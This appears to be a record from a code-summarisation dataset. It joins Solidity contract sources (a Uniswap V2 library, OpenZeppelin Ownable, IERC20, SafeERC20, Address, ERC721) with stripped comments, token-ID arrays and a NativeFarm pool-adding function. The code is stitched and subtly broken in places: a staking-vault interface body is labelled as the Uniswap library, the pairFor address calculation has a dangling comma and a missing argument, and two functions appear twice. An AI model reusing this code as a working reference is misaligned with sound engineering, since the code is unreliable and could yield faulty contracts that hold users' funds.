reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) internal pure returns (uint256 amountOut) { require(amountIn > 0, "UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT"); require(reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY"); uint256 amountInWithFee = amountIn * 997; uint256 numerator = amountInWithFee * reserveOut; uint256 denominator = (reserveIn * 1000) + amountInWithFee; amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) internal pure returns (uint256 amountIn) { require(amountOut > 0, "UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT"); require(reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY"); uint256 numerator = reserveIn * amountOut * 1000; uint256 denominator = (reserveOut - amountOut) * 997; amountIn = (numerator / denominator) + 1; } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut( address factory, uint256 amountIn, address[] memory path, bytes32 pairCodeHash ) internal view returns (uint256[] memory amounts) { require(path.length >= 2, "UniswapV2Library: INVALID_PATH"); amounts = new uint256[](path.length); amounts[0] = amountIn; for (uint256 i; i < path.length - 1; i++) { (uint256 reserveIn, uint256 reserveOut) = getReserves(factory, path[i], path[i + 1], pairCodeHash); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn( address factory, uint256 amountOut, address[] memory path, bytes32 pairCodeHash ) internal view returns (uint256[] memory amounts) { require(path.length >= 2, "UniswapV2Library: INVALID_PATH"); amounts = new uint256[](path.length); amounts[amounts.length - 1] = amountOut; for (uint256 i = path.length - 1; i > 0; i--) { (uint256 reserveIn, uint256 reserveOut) = getReserves(factory, path[i - 1], path[i], pairCodeHash); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
@notice Balance per ERC-20 token per account in shares. @notice Deposit an amount of `token` represented in either `amount` or `share`. @param token_ The ERC-20 token to deposit. @param from which account to pull the tokens. @param to which account to push the tokens. @param amount Token amount in native representation to deposit. @param share Token amount represented in shares to deposit. Takes precedence over `amount`. @return amountOut The amount deposited. @return shareOut The deposited amount repesented in shares. @notice Withdraws an amount of `token` from a user account. @param token_ The ERC-20 token to withdraw. @param from which user to pull the tokens. @param to which user to push the tokens. @param amount of tokens. Either one of `amount` or `share` needs to be supplied. @param share Like above, but `share` takes precedence over `amount`. @notice Transfer shares from a user account to another one. @param token The ERC-20 token to transfer. @param from which user to pull the tokens. @param to which user to push the tokens. @param share The amount of `token` in shares. @dev Helper function to represent an `amount` of `token` in shares. @param token The ERC-20 token. @param amount The `token` amount. @param roundUp If the result `share` should be rounded up. @return share The token amount represented in shares. @dev Helper function to represent shares back into the `token` amount. @param token The ERC-20 token. @param share The amount of shares. @param roundUp If the result should be rounded up. @return amount The share amount back into native representation. @notice Registers this contract so that users can approve it for the BentoBox. SPDX-License-Identifier: GPL-3.0-or-later/ returns sorted token addresses, used to handle return values from pairs sorted in this order
library UniswapV2Library { function strategyData(address token) external view returns (StrategyData memory); function balanceOf(address, address) external view returns (uint256); function deposit( address token_, address from, address to, uint256 amount, uint256 share ) external payable returns (uint256 amountOut, uint256 shareOut); function withdraw( address token_, address from, address to, uint256 amount, uint256 share ) external returns (uint256 amountOut, uint256 shareOut); function transfer( address token, address from, address to, uint256 share ) external; function toShare( address token, uint256 amount, bool roundUp ) external view returns (uint256 share); function toAmount( address token, uint256 share, bool roundUp ) external view returns (uint256 amount); function registerProtocol() external; function totals(address token) external view returns (Rebase memory); function harvest( address token, bool balance, uint256 maxChangeAmount ) external; } pragma solidity 0.8.7; import "../interfaces/IUniswapV2Pair.sol"; The following library is modified from @sushiswap/core/contracts/uniswapv2/libraries/UniswapV2Library.sol changes: - remove SafeMathUniswap library and replace all usage of it with basic operations - change casting from uint to bytes20 in pair address calculation and shift by 96 bits before casting function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES"); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), "UniswapV2Library: ZERO_ADDRESS"); } function pairFor( address factory, address tokenA, address tokenB, bytes32 pairCodeHash ) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address( uint160( uint256( keccak256( abi.encodePacked( hex"ff", factory, keccak256(abi.encodePacked(token0, token1)), ) ) ) ) ); } function getReserves( address factory, address tokenA, address tokenB, bytes32 pairCodeHash ) internal view returns (uint256 reserveA, uint256 reserveB) { (address token0, ) = sortTokens(tokenA, tokenB); (uint256 reserve0, uint256 reserve1, ) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB, pairCodeHash)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) internal pure returns (uint256 amountB) { require(amountA > 0, "UniswapV2Library: INSUFFICIENT_AMOUNT"); require(reserveA > 0 && reserveB > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY"); amountB = (amountA * reserveB) / reserveA; } function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) internal pure returns (uint256 amountOut) { require(amountIn > 0, "UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT"); require(reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY"); uint256 amountInWithFee = amountIn * 997; uint256 numerator = amountInWithFee * reserveOut; uint256 denominator = (reserveIn * 1000) + amountInWithFee; amountOut = numerator / denominator; } function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) internal pure returns (uint256 amountIn) { require(amountOut > 0, "UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT"); require(reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY"); uint256 numerator = reserveIn * amountOut * 1000; uint256 denominator = (reserveOut - amountOut) * 997; amountIn = (numerator / denominator) + 1; } function getAmountsOut( address factory, uint256 amountIn, address[] memory path, bytes32 pairCodeHash ) internal view returns (uint256[] memory amounts) { require(path.length >= 2, "UniswapV2Library: INVALID_PATH"); amounts = new uint256[](path.length); amounts[0] = amountIn; for (uint256 i; i < path.length - 1; i++) { (uint256 reserveIn, uint256 reserveOut) = getReserves(factory, path[i], path[i + 1], pairCodeHash); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } function getAmountsOut( address factory, uint256 amountIn, address[] memory path, bytes32 pairCodeHash ) internal view returns (uint256[] memory amounts) { require(path.length >= 2, "UniswapV2Library: INVALID_PATH"); amounts = new uint256[](path.length); amounts[0] = amountIn; for (uint256 i; i < path.length - 1; i++) { (uint256 reserveIn, uint256 reserveOut) = getReserves(factory, path[i], path[i + 1], pairCodeHash); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } function getAmountsIn( address factory, uint256 amountOut, address[] memory path, bytes32 pairCodeHash ) internal view returns (uint256[] memory amounts) { require(path.length >= 2, "UniswapV2Library: INVALID_PATH"); amounts = new uint256[](path.length); amounts[amounts.length - 1] = amountOut; for (uint256 i = path.length - 1; i > 0; i--) { (uint256 reserveIn, uint256 reserveOut) = getReserves(factory, path[i - 1], path[i], pairCodeHash); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } function getAmountsIn( address factory, uint256 amountOut, address[] memory path, bytes32 pairCodeHash ) internal view returns (uint256[] memory amounts) { require(path.length >= 2, "UniswapV2Library: INVALID_PATH"); amounts = new uint256[](path.length); amounts[amounts.length - 1] = amountOut; for (uint256 i = path.length - 1; i > 0; i--) { (uint256 reserveIn, uint256 reserveOut) = getReserves(factory, path[i - 1], path[i], pairCodeHash); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } }
9,967,504
[ 1, 13937, 1534, 4232, 39, 17, 3462, 1147, 1534, 2236, 316, 24123, 18, 225, 4019, 538, 305, 392, 3844, 434, 1375, 2316, 68, 10584, 316, 3344, 1375, 8949, 68, 578, 1375, 14419, 8338, 225, 1147, 67, 1021, 4232, 39, 17, 3462, 1147, 358, 443, 1724, 18, 225, 628, 1492, 2236, 358, 6892, 326, 2430, 18, 225, 358, 1492, 2236, 358, 1817, 326, 2430, 18, 225, 3844, 3155, 3844, 316, 6448, 4335, 358, 443, 1724, 18, 225, 7433, 3155, 3844, 10584, 316, 24123, 358, 443, 1724, 18, 23004, 14172, 1879, 1375, 8949, 8338, 327, 3844, 1182, 1021, 3844, 443, 1724, 329, 18, 327, 7433, 1182, 1021, 443, 1724, 329, 3844, 2071, 281, 319, 329, 316, 24123, 18, 225, 3423, 9446, 87, 392, 3844, 434, 1375, 2316, 68, 628, 279, 729, 2236, 18, 225, 1147, 67, 1021, 4232, 39, 17, 3462, 1147, 358, 598, 9446, 18, 225, 628, 1492, 729, 358, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 12083, 1351, 291, 91, 438, 58, 22, 9313, 288, 203, 565, 445, 6252, 751, 12, 2867, 1147, 13, 3903, 1476, 1135, 261, 4525, 751, 3778, 1769, 203, 203, 565, 445, 11013, 951, 12, 2867, 16, 1758, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 443, 1724, 12, 203, 3639, 1758, 1147, 67, 16, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 3844, 16, 203, 3639, 2254, 5034, 7433, 203, 565, 262, 3903, 8843, 429, 1135, 261, 11890, 5034, 3844, 1182, 16, 2254, 5034, 7433, 1182, 1769, 203, 203, 565, 445, 598, 9446, 12, 203, 3639, 1758, 1147, 67, 16, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 3844, 16, 203, 3639, 2254, 5034, 7433, 203, 565, 262, 3903, 1135, 261, 11890, 5034, 3844, 1182, 16, 2254, 5034, 7433, 1182, 1769, 203, 203, 565, 445, 7412, 12, 203, 3639, 1758, 1147, 16, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 7433, 203, 565, 262, 3903, 31, 203, 203, 565, 445, 358, 9535, 12, 203, 3639, 1758, 1147, 16, 203, 3639, 2254, 5034, 3844, 16, 203, 3639, 1426, 3643, 1211, 203, 565, 262, 3903, 1476, 1135, 261, 11890, 5034, 7433, 1769, 203, 203, 565, 445, 358, 6275, 12, 203, 3639, 1758, 1147, 16, 203, 3639, 2254, 5034, 7433, 16, 203, 3639, 1426, 3643, 1211, 203, 565, 262, 3903, 1476, 1135, 261, 11890, 5034, 3844, 1769, 203, 203, 565, 445, 1744, 5752, 1435, 3903, 31, 2 ]
./partial_match/56/0x6F358563E5A3063eE769D22F6eA13a5b63c5a81E/sources/NativeFarm.sol
Add a new lp to the pool. Can only be called by the owner. XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. (Only if want tokens are stored here.)
function add( uint256 _allocPoint, IERC20 _want, bool _withUpdate, address _strat ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ want: _want, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accNATIVEPerShare: 0, strat: _strat }) ); }
11,057,340
[ 1, 986, 279, 394, 12423, 358, 326, 2845, 18, 4480, 1338, 506, 2566, 635, 326, 3410, 18, 11329, 5467, 4269, 527, 326, 1967, 511, 52, 1147, 1898, 2353, 3647, 18, 534, 359, 14727, 903, 506, 15216, 730, 731, 309, 1846, 741, 18, 261, 3386, 309, 2545, 2430, 854, 4041, 2674, 12998, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 527, 12, 203, 3639, 2254, 5034, 389, 9853, 2148, 16, 203, 3639, 467, 654, 39, 3462, 389, 17369, 16, 203, 3639, 1426, 389, 1918, 1891, 16, 203, 3639, 1758, 389, 701, 270, 203, 565, 262, 1071, 1338, 5541, 288, 203, 3639, 309, 261, 67, 1918, 1891, 13, 288, 203, 5411, 8039, 1891, 16639, 5621, 203, 3639, 289, 203, 3639, 2254, 5034, 1142, 17631, 1060, 1768, 273, 1203, 18, 2696, 405, 787, 1768, 692, 1203, 18, 2696, 294, 787, 1768, 31, 203, 3639, 2078, 8763, 2148, 273, 2078, 8763, 2148, 18, 1289, 24899, 9853, 2148, 1769, 203, 3639, 2845, 966, 18, 6206, 12, 203, 5411, 8828, 966, 12590, 203, 7734, 2545, 30, 389, 17369, 16, 203, 7734, 4767, 2148, 30, 389, 9853, 2148, 16, 203, 7734, 1142, 17631, 1060, 1768, 30, 1142, 17631, 1060, 1768, 16, 203, 7734, 4078, 50, 12992, 2173, 9535, 30, 374, 16, 203, 7734, 609, 270, 30, 389, 701, 270, 203, 5411, 289, 13, 203, 3639, 11272, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return 